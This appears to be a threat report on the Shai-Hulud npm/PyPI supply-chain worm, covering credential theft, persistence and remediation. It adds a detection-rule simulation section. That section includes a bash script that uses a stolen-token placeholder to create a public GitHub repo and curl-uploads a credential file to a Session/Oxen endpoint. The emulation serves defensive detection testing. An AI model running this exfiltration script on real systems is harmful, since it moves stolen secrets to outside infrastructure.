Shai-Hulud: Here We Go Again – Worm by TeamPCP Hits NPM and PyPI

Summary

The report details a supply-chain worm campaign that compromises npm and PyPI packages, injects malicious loaders, steals a broad range of developer and cloud credentials, and republishes tainted artifacts to continue spreading. The malware activates during package installation, collects secrets from CI/CD runners, cloud metadata endpoints, and local files, then exfiltrates the data through encrypted HTTP and GitHub repository writes. A built-in dead-man switch watches for token revocation and can trigger destructive actions on targeted systems. Researchers attribute the campaign to the TeamPCP threat group.

Investigation

JFrog researchers identified more than 170 malicious npm packages and two compromised PyPI packages that either embedded or downloaded obfuscated JavaScript or Python payloads. These payloads used pre-install scripts to fetch the Bun runtime, decrypt hidden code, and harvest credentials from GitHub Actions, npm, AWS, Kubernetes, Vault, and password managers. The stolen data was then exfiltrated through Session and Oxen nodes, GitHub commits, and a dedicated dead-drop repository. Persistence was maintained through systemd user services and macOS LaunchAgents designed to monitor token revocation events.

Mitigation

The report recommends disabling the malicious systemd and LaunchAgent services, deleting all persisted files, rotating any exposed tokens and cloud credentials, and rebuilding CI/CD runner images from clean snapshots. Organizations should also block traffic to the known malicious domains and URLs and use package control mechanisms such as JFrog Curation policies to prevent compromised dependencies from being installed.

Response

If the campaign is detected, defenders should immediately stop and delete services such as gh-token-monitor and pgsql-monitor, remove the associated binaries and malicious package files, rotate GitHub, npm, cloud, and Vault secrets, and isolate any affected build environments. Security teams should also update allow-lists and blocklists to prevent communication with the identified command-and-control infrastructure and continue monitoring for additional package publication attempts.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.

• Attack Narrative & Commands

  The adversary possesses a stolen GitHub personal access token (PAT) that grants repo scope. Their goal is to stage exfiltrated credentials in a newly created public repository, then upload the same encrypted credential file to the Session/Oxen infrastructure for downstream retrieval.

  1. Create a new public repository via the GitHub API POST https://api.github.com/user/repos with JSON payload { "name": "shai-hulud-exfil", "private": false }.
  2. Upload an encrypted credential file to the Session/Oxen endpoint POST https://filev2.getsession.org/file using multipart/form-data.
  3. Record the HTTP request logs (method, URL, headers) which match the Sigma rule’s selection.urls.

• Regression Test Script

  #!/usr/bin/env bash
  set -euo pipefail
  
  # ---- USER INPUT -------------------------------------------------
  GITHUB_TOKEN="REPLACE_WITH_STOLEN_TOKEN"
  REPO_NAME="shai-hulud-exfil"
  SESSION_UPLOAD_URL="https://filev2.getsession.org/file"
  CRED_FILE="encrypted_creds.bin"
  # ------------------------------------------------------------------
  
  # 1. Create public GitHub repository
  echo "[*] Creating public GitHub repository '${REPO_NAME}'"
  curl -s -X POST "https://api.github.com/user/repos" 
       -H "Authorization: token ${GITHUB_TOKEN}" 
       -H "Accept: application/vnd.github.v3+json" 
       -d "{"name":"${REPO_NAME}","private":false}" 
       -o /dev/null
  
  # 2. Upload encrypted credentials to Session/Oxen
  echo "[*] Uploading encrypted credential file to Session/Oxen"
  curl -s -X POST "${SESSION_UPLOAD_URL}" 
       -F "file=@${CRED_FILE}" 
       -H "User-Agent: Mozilla/5.0 (compatible; ShaiHulud/1.0)" 
       -o /dev/null
  
  echo "[+] Simulation completed – detection telemetry should be present."

• Cleanup Commands

  #!/usr/bin/env bash
  set -euo pipefail
  
  GITHUB_TOKEN="REPLACE_WITH_STOLEN_TOKEN"
  REPO_NAME="shai-hulud-exfil"
  
  # Delete the GitHub repository created during the test
  echo "[*] Deleting test repository '${REPO_NAME}'"
  curl -s -X DELETE "https://api.github.com/repos/$(curl -s -H "Authorization: token ${GITHUB_TOKEN}" https://api.github.com/user | jq -r .login)/${REPO_NAME}" 
       -H "Authorization: token ${GITHUB_TOKEN}" 
       -o /dev/null
  
  echo "[+] Cleanup completed."